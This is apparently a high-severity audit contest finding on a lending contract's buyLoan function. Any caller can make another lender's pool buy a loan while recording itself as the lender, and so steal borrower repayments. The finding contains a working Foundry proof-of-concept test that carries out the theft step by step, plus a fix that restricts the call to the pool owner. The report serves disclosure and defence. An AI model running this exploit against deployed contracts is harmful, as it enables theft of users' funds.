20,000 USDC
View results
Submission Details
Severity: high
Valid

Lender.sol: A malicious user could call buyLoan and steal the loan token

Summary

A malicious lender could repeatedly call giveLoan to collect compound interest from the user.

Vulnerability Details

The buyLoan function in Lender.sol can be called by anyone. Therefore, random user A can force lender2 to buy lender1's loan, which means that lender2 can be forced to buy the loan by random users even if they don't want to. The big problem here is when updating loan information:

loans[loanId].lender = msg.sender; //@audit msg.sender
loans[loanId].interestRate = pools[poolId].interestRate;
loans[loanId].startTimestamp = block.timestamp;
loans[loanId].auctionStartTimestamp = type(uint256).max;
loans[loanId].debt = totalDebt;

lender.loan is a variable that indicates which lender the loan was issued to. However, as mentioned earlier, an arbitrary user A can call buyLoan and msg.sender will be user A. In other words, lender2 bought the loan, but lender will be set to user A. When borrower makes a repayment, lender will be set to user A.

At this time, if the borrower wants to repay, borrower will repay the loan token to the lender of the loan. In other words, the loan token that should be repaid to lender2 can be stolen by userA.

Scenario:

  1. borrower loans 1000 tokens B to lender1 for 100 tokens A.

  2. auction starts for the loan.

  3. userA calls buyLoan with lender2's pool. (loan.lender is userA)

  4. borrower repays the loan (tokenB 1000 + interest)

  5. loan.lender repays the loan tokens to the pool.

  6. userA removeFromPool

lender2 cannot removeFromPool because the poolBalance does not increase even though the loan is repaid.
userA can steal 1000 tokensB.

POC:

function testStealLoan() public {
console.log("[BEFORE] mal user loan token", loanToken.balanceOf(mal));
console.log("[BEFORE] mal user collateral token", collateralToken.balanceOf(mal));
// [STEP 1] lender1,2 set pool
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(,,,,uint256 poolBalance,,,,) = lender.pools(poolId);
assertEq(poolBalance, 1000*10**18);
vm.startPrank(lender2);
p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId = lender.setPool(p);
// [STEP 2] borrower borrow from lender1
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: lender.getPoolId(lender1, address(loanToken), address(collateralToken)),
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// [STEP 3] auction start
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
// [STEP 4] lender2 buyLoan, executed by mal user
vm.startPrank(mal);
lender.buyLoan(0, lender.getPoolId(lender2, address(loanToken), address(collateralToken)));
// [STEP 5] make mal pool
p = Pool({
lender: mal,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 110*10**18,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId = lender.setPool(p);
// [STEP 6] mal user borrow self
b = Borrow({
poolId: poolId,
debt: 110*10**18,
collateral: 1
});
borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// [STEP 6] borrower repay
vm.startPrank(borrower);
loanToken.mint(address(borrower), 100*10**18);
loanIds = new uint256[](1);
loanIds[0] = 0;
lender.repay(loanIds);
// [STEP 7] remove from pool
vm.startPrank(mal);
(,,,,poolBalance,,,,) = lender.pools(poolId);
lender.removeFromPool(poolId, poolBalance);
console.log("[AFTER] mal user loan token", loanToken.balanceOf(mal));
console.log("[AFTER] mal user collateral token", collateralToken.balanceOf(mal));
}

Impact

It is possible to steal Loan tokens from other pools and consequently make the protocol insolvent.

Tools Used

VS Code

Recommendations

buyLoan should be called by the owner of poolId.

function buyLoan(uint256 loanId, bytes32 poolId) public {
// get the loan info
Loan memory loan = loans[loanId];
// validate the loan
if (loan.auctionStartTimestamp == type(uint256).max)
revert AuctionNotStarted();
if (block.timestamp > loan.auctionStartTimestamp + loan.auctionLength)
revert AuctionEnded();
// [ADD THIS]
if (pools[poolId].lender != msg.sender)
revert OnlyLender();
...

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.